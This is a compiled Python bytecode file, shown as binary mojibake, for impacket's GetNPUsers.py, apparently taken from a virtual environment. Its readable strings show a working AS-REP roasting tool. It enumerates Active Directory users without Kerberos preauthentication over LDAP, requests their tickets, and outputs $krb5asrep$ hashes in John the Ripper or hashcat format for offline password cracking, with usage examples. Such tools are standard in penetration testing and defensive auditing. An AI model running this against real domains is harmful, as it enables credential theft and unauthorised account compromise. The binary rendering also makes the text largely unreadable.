o
    àý°jÌM  ã                
   @   s¸  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZmZ d dlmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZmZ d dlmZ d dlmZmZmZmZm Z m!Z! d dl"m#Z#m$Z$ d dl%m&Z&m'Z' d dl(m)Z)m*Z* G dd„ dƒZ+e,dk�rÚe-ej.ƒ ej/ddd�Z0e0j1dddd� e0j1ddddd� e0j1ddd d� e0j1d!d"d#gd"d$d%� e0j1d&d'd(� e0j1d)dd*d� e0j1d+dd,d� e0 2d-¡Z3e3j1d.dd/d0d1� e3j1d2dd3d� e3j1d4dd5d� e3j1d6dd7d8d1� e0 2d9¡Z3e3j1d:dd;d<d1� e3j1d=dd>d?d1� e4ej5ƒd@k�rPe0 6¡  e-dAƒ e-dBƒ e-dCƒ e-dDƒ e-dEƒ e-dFƒ e-dGƒ e-dHƒ e-dIƒ e-dJƒ e-dKƒ e-dLƒ e 7d@¡ e0 8¡ Z9e :e9j;e9j<¡ ee9j=e9j>e9j?e9j@e9jAƒ\ZBZCZDZEZEe9_AeBdMk�re FdN¡ e 7d@¡ e9jAdu �r e9j?du �r eCdMk�r e9jGdu �r e FdO¡ e 7d@¡ e9jHdu�r©de9_Ize+eCeDeBe9ƒZJeJ K¡  W dS  eL�yÙ ZM zej<dPddQ� e NeOeMƒ¡ W Y dZM[MdS dZM[Mww dS )Ré    )Údivision)Úprint_functionN)Úhexlify)ÚdecoderÚencoder)ÚnoValue)Úversion)ÚUF_ACCOUNTDISABLEÚUF_DONT_REQUIRE_PREAUTH)Úlogger)Úparse_identityÚ
ldap_login)Ú	constants)ÚAS_REQÚKERB_PA_PAC_REQUESTÚ	KRB_ERRORÚAS_REPÚseq_setÚseq_set_iter)ÚsendReceiveÚKerberosError)ÚKerberosTimeÚ	Principal)ÚldapÚldapasn1c                   @   s\   e Zd Zedd„ ƒZdd„ Zedd„ ƒZddd	„Zeddd„ƒZdd„ Z	dd„ Z
dd„ Zd
S )ÚGetUserNoPreAuthc                    sš   g }t |ƒD ]\‰ }t‡ fdd„| D ƒƒ}| t|t|ƒƒ¡ qd dd„ t |ƒD ƒ¡}t|j|Ž ƒ td dd„ |D ƒ¡ƒ | D ]	}t|j|Ž ƒ qAd S )Nc                    s   g | ]}t |ˆ  ƒ‘qS © )Úlen)Ú.0Úrow©Úir   úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/GetNPUsers.pyÚ
<listcomp>9   s    z/GetUserNoPreAuth.printTable.<locals>.<listcomp>ú c                 S   s   g | ]
\}}d ||f ‘qS )z	{%d:%ds} r   )r   ÚnumÚwidthr   r   r"   r#   <   s    z  c                 S   s   g | ]}d | ‘qS )ú-r   )r   ÚitemLenr   r   r"   r#   @   ó    )Ú	enumerateÚmaxÚappendr   ÚjoinÚprintÚformat)ÚitemsÚheaderÚcolLenÚcolÚ	rowMaxLenÚoutputFormatr   r   r    r"   Ú
printTable5   s   ÿzGetUserNoPreAuth.printTablec                 C   sÌ   || _ || _|| _d | _d| _d| _|j| _|j| _	|j
| _|j| _|j| _|j| _|j| _|j| _|j| _|jd urE|j d¡\| _| _| j d¡}d| _|D ]}|  jd| 7  _qP| jd d… | _d S )NÚ ú:Ú.zdc=%s,éÿÿÿÿ)Ú_GetUserNoPreAuth__usernameÚ_GetUserNoPreAuth__passwordÚ_GetUserNoPreAuth__domainÚ_GetUserNoPreAuth__targetÚ_GetUserNoPreAuth__lmhashÚ_GetUserNoPreAuth__nthashÚno_passÚ_GetUserNoPreAuth__no_passÚ
outputfileÚ!_GetUserNoPreAuth__outputFileNamer/   Ú_GetUserNoPreAuth__outputFormatÚ	usersfileÚ_GetUserNoPreAuth__usersFileÚaesKeyÚ_GetUserNoPreAuth__aesKeyÚkÚ_GetUserNoPreAuth__doKerberosÚrequestÚ_GetUserNoPreAuth__requestTGTÚdc_ipÚ_GetUserNoPreAuth__kdcIPÚdc_hostÚ_GetUserNoPreAuth__kdcHostÚhashesÚsplitÚbaseDN)ÚselfÚusernameÚpasswordÚdomainÚcmdLineOptionsÚdomainPartsr!   r   r   r"   Ú__init__F   s,   
zGetUserNoPreAuth.__init__c                 C   s   | d8 } | d } | S )Nl     }*{Gíi€–˜ r   )Útr   r   r"   ÚgetUnixTimeb   s   zGetUserNoPreAuth.getUnixTimeTc              
   C   s   t |tjjjd�}tƒ }| j ¡ }t d| tjjjd�}tƒ }||d< t	 
|¡}d|d< ttjjjƒ|d< t|d< t|d d< ttjjjƒ|d d d	< ||d d d
< t|dƒ}	tƒ }
|
 tjjj¡ |
 tjjj¡ |
 tjjj¡ t |
¡|	d< t|	d|jƒ t|	d|jƒ |dkr‘tdƒ‚||	d< tj tjj¡tjdd� }t  |¡|	d< t  |¡|	d< t! "d¡|	d< ttj#j$jƒf}t%|	d|ƒ t	 
|¡}z	t&||| j'ƒ}W n@ t(�y } z3| )¡ tj*j+jk�rttj#j,jƒttj#j-jƒf}t%|	d|ƒ t	 
|¡}t&||| j'ƒ}n|‚W Y d }~nd }~ww zt.j/|t0ƒ d�d }W n   t.j/|t1ƒ d�d }Y ntd| ƒ‚| j2dk�rœ|d d dk�sO|d d dk�rxd|d d ||t3|d d   4¡ d d!… ƒ /¡ t3|d d   4¡ d!d … ƒ /¡ f S d"||t3|d d   4¡ d d#… ƒ /¡ t3|d d   4¡ d#d … ƒ /¡ f S |d d dk�s®|d d dk�r×d$|d d ||t3|d d   4¡ d!d … ƒ /¡ t3|d d   4¡ d d!… ƒ /¡ f S d%|d d ||t3|d d   4¡ d d#… ƒ /¡ t3|d d   4¡ d#d … ƒ /¡ f S )&N)Útypez	krbtgt/%szinclude-pacé   Úpvnozmsg-typeÚpadatar   zpadata-typezpadata-valuezreq-bodyzkdc-optionsÚsnameÚcnamer7   z$Empty Domain not allowed in KerberosÚrealmé   )ÚdaysÚtillÚrtimeé   ÚnonceÚetype)Úasn1Specz0User %s doesn't have UF_DONT_REQUIRE_PREAUTH setÚjohnzenc-parté   é   z$krb5asrep$%d$%s%s$%s$%sÚcipheriôÿÿÿz$krb5asrep$%s@%s:%s$%sé   z$krb5asrep$%d$%s$%s$%s$%sz$krb5asrep$%d$%s@%s:%s$%s)5r   r   ÚPrincipalNameTypeÚNT_PRINCIPALÚvaluer   r=   Úupperr   r   ÚencodeÚintÚApplicationTagNumbersr   ÚPreAuthenticationDataTypesÚPA_PAC_REQUESTr   Úlistr,   Ú
KDCOptionsÚforwardableÚ	renewableÚ	proxiableÚencodeFlagsÚcomponents_to_asn1Ú	ExceptionÚdatetimeÚnowÚtimezoneÚutcÚ	timedeltar   Úto_asn1ÚrandomÚgetrandbitsÚEncryptionTypesÚrc4_hmacr   r   rO   r   ÚgetErrorCodeÚ
ErrorCodesÚKDC_ERR_ETYPE_NOSUPPÚaes256_cts_hmac_sha1_96Úaes128_cts_hmac_sha1_96r   Údecoder   r   rE   r   ÚasOctets)rU   ÚuserNameÚ
requestPACÚ
clientNameÚasReqrX   Ú
serverNameÚ
pacRequestÚencodedPacRequestÚreqBodyÚoptsr„   ÚsupportedCiphersÚmessageÚrÚeÚasRepr   r   r"   ÚgetTGTh   sŠ   



ÿ
þ€ù$þþ$þþzGetUserNoPreAuth.getTGTNc                 C   s&   t | ƒ |d ur| | d ¡ d S d S )NÚ
)r.   Úwrite)ÚentryÚfdr   r   r"   Ú	outputTGTÊ   s   ÿzGetUserNoPreAuth.outputTGTc                 C   s  | j r	|  ¡  d S | jdu r*| jdu r*t d| j ¡ |  | j¡}|  | jg¡ d S zt	| j
| j| j| j| j| j| j| j| j| j| jƒ}|j| _
W n8 tjy� } z+t|ƒ d¡dk rwt d| j ¡ |  | j¡}|  | jg¡ W Y d }~d S W Y d }~nd }~ww dttf }zt d| ¡ |j|g d	¢d
d�}W nE tjyà } z8| ¡  d¡dkr·t d¡ | ¡ }nt|ƒ d¡dkrÆt d¡ ‚ | jd urÕ| jd urÕt d¡ ‚ W Y d }~nd }~ww g }t dt |ƒ ¡ |D ]è}t!|t"j#ƒdurùqîd}d}	d}
d}d}d}z®|d D ]˜}t|d ƒdk�r!t|d d ƒ}	d}�q
t|d ƒdk�r6dt$|d d ƒ }�q
t|d ƒdk�rIt|d d ƒ}
�q
t|d ƒdk�rvt|d d ƒdk�rad}�q
tt%j% &|  't$t|d d ƒƒ¡¡ƒ}�q
t|d ƒdk�r¡t|d d ƒdk�rŽd}�q
tt%j% &|  't$t|d d ƒƒ¡¡ƒ}�q
|du �r²| (|	|
|||g¡ W qî t)�yÖ } ztjddd � t *d!t|ƒ ¡ W Y d }~qîd }~ww t |ƒdk�r| j+|g d"¢d#� t,d$ƒ | j-du �rÿd%d&„ |D ƒ}|  |¡ d S d S t,d'ƒ d S )(NFTzGetting TGT for %sÚstrongerAuthRequiredr   z'Cannot authenticate %s, getting its TGTz€(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))zSearch Filter=%s)ÚsAMAccountNameÚ
pwdLastSetÚMemberOfÚuserAccountControlÚ	lastLogoniç  )ÚsearchFilterÚ
attributesÚ	sizeLimitÚsizeLimitExceededzNsizeLimitExceeded exception caught, giving up and processing the data receivedÚNTLMAuthNegotiatez_NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.zjIf the credentials are valid, check the hostname and IP address of KDC. They must match exactly each otherzTotal of records returned %dr7   zN/Ar¯   r^   r©   Úvalsr¬   z0x%xÚmemberOfrª   Ú0z<never>r­   ú
Exception:©Úexc_infoz-Skipping item, cannot process due to error %s)ÚNamer«   ÚPasswordLastSetÚ	LastLogonÚUAC)r1   z

c                 S   s   g | ]}|d  ‘qS )r   r   )r   Úanswerr   r   r"   r#   1  r)   z(GetUserNoPreAuth.run.<locals>.<listcomp>zNo entries found!).rG   Úrequest_users_file_TGTsrK   rB   ÚloggingÚinfor;   r¢   Úrequest_multiple_TGTsr   r>   rT   rO   rQ   r<   r=   r?   r@   rI   Ú_dstHostr   ÚLDAPSessionErrorÚstrÚfindr
   r	   ÚdebugÚsearchÚLDAPSearchErrorÚgetErrorStringÚ
getAnswersÚcriticalr   Ú
isinstancer   ÚSearchResultEntryrw   rƒ   Úfromtimestampr]   r,   r‚   Úerrorr6   r.   rM   )rU   r¥   ÚldapConnectionr    r®   ÚrespÚanswersÚitemÚ
mustCommitr©   r´   rª   r¬   r­   Ú	attributeÚ	usernamesr   r   r"   ÚrunÐ   s²   2û€ÿ	þ
ý

ý
÷€ú*&€
€€ýþzGetUserNoPreAuth.runc                 C   sF   t | jƒ�}dd„ |D ƒ}W d   ƒ n1 sw   Y  |  |¡ d S )Nc                 S   s   g | ]}|  ¡ ‘qS r   )Ústrip)r   Úliner   r   r"   r#   9  r)   z<GetUserNoPreAuth.request_users_file_TGTs.<locals>.<listcomp>)ÚopenrG   rÁ   )rU   ÚfirÖ   r   r   r"   r¾   7  s   ÿz(GetUserNoPreAuth.request_users_file_TGTsc                 C   sŽ   | j d urt| j dƒ}nd }|D ]*}z|  |¡}|  ||¡ W q ty: } zt dt|ƒ ¡ W Y d }~qd }~ww |d urE| ¡  d S d S )Nzw+z%s)	rD   rÚ   r¢   r§   r‚   r¿   rÏ   rÄ   Úclose)rU   rÖ   r¦   rV   r¥   r    r   r   r"   rÁ   =  s   

€ÿÿz&GetUserNoPreAuth.request_multiple_TGTs)T)N)Ú__name__Ú
__module__Ú__qualname__Ústaticmethodr6   r[   r]   r¢   r§   r×   r¾   rÁ   r   r   r   r"   r   4   s    


bgr   Ú__main__TzwQueries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking)Úadd_helpÚdescriptionÚtargetÚstorez[[domain/]username[:password]])ÚactionÚhelpz-requestÚ
store_trueFzLRequests TGT for users and output them in JtR/hashcat format (default False))ræ   Údefaultrç   z-outputfilez6Output filename to write ciphers in JtR/hashcat formatz-formatÚhashcatrm   zQformat to save the AS_REQ of users without pre-authentication. Default is hashcat)Úchoicesré   rç   z
-usersfilezFile with user per line to test)rç   z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONÚauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)ræ   Úmetavarrç   z-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)Ú
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz-dc-hostÚhostnamez|Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be usedre   z,
There are a few modes for using this scriptz
1. Get a TGT for a user:z-
	GetNPUsers.py contoso.com/john.doe -no-passz¨
For this operation you don't need john.doe's password. It is important tho, to specify -no-pass in the script, 
otherwise a badpwdcount entry will be added to the userz8
2. Get a list of users with UF_DONT_REQUIRE_PREAUTH setzM
	GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emilyzÏ
This will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. 
However it will require you to have emily's password. (If you don't specify it, it will be asked by the script)z
3. Request TGTs for all userszV
	GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emilyz$
4. Request TGTs for users in a filez:
	GetNPUsers.py -no-pass -usersfile users.txt contoso.com/z/
For this operation you don't need credentials.r7   zDomain should be specified!z‚If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!r¶   r·   )PÚ
__future__r   r   Úargparserƒ   r¿   r‰   ÚsysÚbinasciir   Úpyasn1.codec.derr   r   Úpyasn1.type.univr   Úimpacketr   Úimpacket.dcerpc.v5.samrr	   r
   Úimpacket.examplesr   Úimpacket.examples.utilsr   r   Úimpacket.krb5r   Úimpacket.krb5.asn1r   r   r   r   r   r   Úimpacket.krb5.kerberosv5r   r   Úimpacket.krb5.typesr   r   Úimpacket.ldapr   r   r   rÝ   r.   ÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_groupÚgroupr   ÚargvÚ
print_helpÚexitÚ
parse_argsÚoptionsÚinitÚtsrÆ   rä   rR   rA   rH   rJ   rX   rV   rW   Ú_rË   rF   rC   rL   Úexecuterr×   r‚   r    rÏ   rÄ   r   r   r   r"   Ú<module>   sž      

ÿÿ


(


.

€þ³